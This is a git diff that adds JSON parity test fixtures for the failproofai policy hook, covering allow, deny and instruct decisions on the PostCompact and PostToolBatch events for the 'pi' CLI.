diff --git a/__tests__/parity/fixtures/pi/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..fb8e5967 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..bf4b34ce --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..887a197e --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6a5b7740 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f373a21e --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bd5724a8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d3c73abb --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e8f6b03b --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..973a064d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ca97833e --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0b74a55b --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..eee156eb --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a6c5a025 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7970d1b7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..30cf528e --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f568ab9e --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8c990569 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f3146273 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f87cdb45 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": 